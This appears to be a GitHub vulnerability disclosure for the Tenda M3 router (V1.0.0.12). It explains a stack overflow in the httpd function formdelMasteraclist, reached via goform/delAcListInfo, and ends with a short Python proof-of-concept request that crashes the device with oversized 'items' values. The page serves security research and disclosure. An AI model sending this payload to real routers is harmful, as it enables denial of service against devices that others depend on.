Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
IoT-vuln/Tenda/M3/formdelMasteraclist/
IoT-vuln/Tenda/M3/formdelMasteraclist/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
 
 
 
 

Overview

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formdelMasteraclist function, which can be accessed via the URL goform/delAcListInfo.

image-20220527205939183

function formdelMasteraclist gets the POST parameter items and passes it to function sub_53778 as the first argument.

image-20220527210116880

This function splits the first argument with a , and then splits it into a buffer by calling sscanf function without checking its length.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"items": b'A'*0x400 + b':' + b'A'*0x400 + b',',
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/delAcListInfo", data=data, cookies=cookies)
print(res.content)